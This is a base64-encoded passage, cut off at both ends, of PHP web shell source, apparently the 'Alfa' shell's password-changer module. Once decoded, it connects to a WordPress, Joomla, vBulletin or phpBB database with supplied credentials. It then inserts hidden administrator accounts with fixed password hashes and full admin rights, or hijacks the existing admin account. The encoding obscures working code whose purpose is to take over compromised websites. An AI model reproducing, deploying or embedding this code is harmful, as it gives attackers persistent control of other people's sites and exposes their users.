cmF5KCdzbWYnLDExKSk7CkFsZmFfQ3JlYXRlX0FfVGFnKCdwd2NoYW5nZXInLCR2YWxzKTsKZWNobyAnPC9oMz48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ109PSd3cCcpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgV29yZFByZXNzIHw8L2Rpdj4KPHA+Jy5nZXRDb25maWdIdG1sKCd3cCcpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnd3BcJyxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywnaWQnPT4nZGJfaG9zdCcsICdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnd3BfJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAna2gnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+JzsKaWYgKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEzJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzIChJRCx1c2VyX2xvZ2luLHVzZXJfcGFzcyx1c2VyX2VtYWlsKSB2YWx1ZXMobnVsbCwnJGFkbWluJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnLCckU1FMJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgSUQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJfbG9naW49JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZSA9IEBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsKaWYgKCRzb2xlID09IDEpewokc29sZXZpcyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsKJHJlcyA9ICRzb2xldmlzWydJRCddOwp9CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJtZXRhICh1bWV0YV9pZCx1c2VyX2lkLG1ldGFfa2V5LG1ldGFfdmFsdWUpIHZhbHVlcyhudWxsLCciLiRyZXMuIicsJ2ZpcnN0X25hbWUnLCdzb2xldmlzaWJsZScpLChudWxsLCciLiRyZXMuIicsJ2xhc3RfbmFtZScsJ3NvbGV2aXNpYmxlJyksKG51bGwsJyIuJHJlcy4iJywnbmlja25hbWUnLCdzb2xldmlzaWJsZScpLChudWxsLCciLiRyZXMuIicsJ2Rlc2NyaXB0aW9uJywnc29sZXZpc2libGUnKSwobnVsbCwnIi4kcmVzLiInLCdyaWNoX2VkaXRpbmcnLCd0cnVlJyksKG51bGwsJyIuJHJlcy4iJywnY29tbWVudF9zaG9ydGN1dHMnLCdmYWxzZScpLChudWxsLCciLiRyZXMuIicsJ2FkbWluX2NvbG9yJywnZnJlc2gnKSwobnVsbCwnIi4kcmVzLiInLCd1c2Vfc3NsJywnMCcpLChudWxsLCciLiRyZXMuIicsJ3Nob3dfYWRtaW5fYmFyX2Zyb250JywndHJ1ZScpLChudWxsLCciLiRyZXMuIicsJyIuJHByZWZpeC4iY2FwYWJpbGl0aWVzJywnYToxOntzOjEzOlwiYWRtaW5pc3RyYXRvclwiO2I6MTt9JyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJ1c2VyX2xldmVsJywnMTAnKSwobnVsbCwnIi4kcmVzLiInLCdzaG93X3dlbGNvbWVfcGFuZWwnLCcxJyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJkYXNoYm9hcmRfcXVpY2tfcHJlc3NfbGFzdF9wb3N0X2lkJywnMycpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigkc29sZXZpc2libGUpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CmlmKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJ2pvb21sYScpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSm9vbWxhIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ2pvb21sYScpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyxcJ2pvb21sYVwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJ2pvc18nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDcnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEzJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzIChpZCxuYW1lLHVzZXJuYW1lLGVtYWlsLHBhc3N3b3JkKSB2YWx1ZXMobnVsbCwnU3VwZXIgVXNlcicsJyIuJGFkbWluLiInLCciLiRTUUwuIicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgaWQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGUgPUBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsKaWYgKCRzb2xlID09IDEpewokc29sZXZpcyA9QG15c3FsaV9mZXRjaF9hc3NvYygkc29sZXZpc2libGUpOwokcmVzID0gJHNvbGV2aXNbJ2lkJ107Cn0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIklOU0VSVCBJTlRPICIuJHByZWZpeC4idXNlcl91c2VyZ3JvdXBfbWFwICh1c2VyX2lkLGdyb3VwX2lkKSBWQUxVRVMgKCciLiRyZXMuIicsICc4JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoJF9QT1NUWydhbGZhNCddICYmICRfUE9TVFsnYWxmYTQnXSA9PSAndmInKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IHZCdWxsZXRpbiB8PGRpdj48cD4nLmdldENvbmZpZ0h0bWwoJ3ZiJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsXCd2YlwnLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2hpJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiAndGQ4JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRwcmVmaXggPSAkX1BPU1RbJ2FsZmE3J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfY29ubmVjdF9lcnJvcigpKTsKJHB3X2NvbCA9IEBteXNxbGlfY29ubmVjdCgiU0VMRUNUIGNvbHVtbl9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZSA9ICd7JHByZWZpeH11c2VyJyBhbmQgY29sdW1uX25hbWUgPSAncGFzc3dvcmQnIGFuZCB0YWJsZV9zY2hlbWEgPSAneyRkYXRhYmFzZX0nIik7CiRwd19jb2wgPSBAbXlzcWxpX251bV9yb3dzKCRwd19jb2wpOwokYWRtX3Blcm0gPSAiMTY3NDQ0NDQiOwppZigkcHdfY29sID4gMCl7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB7JHByZWZpeH11c2VyICh1c2VyaWQsdXNlcmdyb3VwaWQsdXNlcm5hbWUscGFzc3dvcmQsc2FsdCxlbWFpbCxwYXNzd29yZGRhdGUsam9pbmRhdGUpIHZhbHVlcyhudWxsLCc2JywnJGFkbWluJywnNTJlMjhiNzhmNTU2NDFjZDQ2MThhZDFhMjBmNWZkNWMnLCdYd3xJYkdMaFRRQS1Bd0FwVnY+NjF5Xih6XSo8UU4nLCckU1FMJywnIi5kYXRlKCdZLW0tZCcpLiInLCciLnRpbWUoKS4iJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7Cn1lbHNlewokYWRtX3Blcm0gPSAiMjE0MzI1NjQ0NCI7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB7JHByZWZpeH11c2VyICh1c2VyaWQsdXNlcmdyb3VwaWQsdXNlcm5hbWUsdG9rZW4sc2VjcmV0LGVtYWlsLHBhc3N3b3JkZGF0ZSxqb2luZGF0ZSxzY2hlbWUsYmlydGhkYXlfc2VhcmNoKSB2YWx1ZXMobnVsbCwnNicsJyRhZG1pbicsJ1wkMnlcJDEwXCRZc1ZoVi45dExuekJZeGFyMUJKQUdPM3ZGejY4L3FEVTdKdDYyU0RkTHk2bFVUOU41Wi93cScsJ1FmfkFEZUF9aUFleS0mI0FMUUY8fS91QkRxU253PicsJyRTUUwnLCciLmRhdGUoJ1ktbS1kJykuIicsJyIudGltZSgpLiInLCdibG93ZmlzaDoxMCcsJzE5ODQtMDUtMjAnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKfQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IHVzZXJpZCBmcm9tIHskcHJlZml4fXVzZXIgd2hlcmUgdXNlcm5hbWU9JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZSA9IG15c3FsaV9udW1fcm93cygkc29sZXZpc2libGUpOwppZigkc29sZSA9PSAxKXsKJHNvbGV2aXMgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsKJHJlcyA9ICRzb2xldmlzWyd1c2VyaWQnXTsKfQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9YWRtaW5pc3RyYXRvciAodXNlcmlkLGFkbWlucGVybWlzc2lvbnMpIHZhbHVlcygnIi4kcmVzLiInLCciLiRhZG1fcGVybS4iJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNSddKSAmJiAkX1BPU1RbJ2FsZmE1J10gPT0gJ3BocGJiJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgcGhwQkIgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgncGhwYmInKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLFwncGhwYmJcJyx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDcnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNCddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRoYXNoID0gbWQ1KCdzb2xldmlzaWJsZScpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kYWRtaW4uIicgV0hFUkUgdXNlcm5hbWVfY2xlYW4gPSAnYWRtaW4nIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFI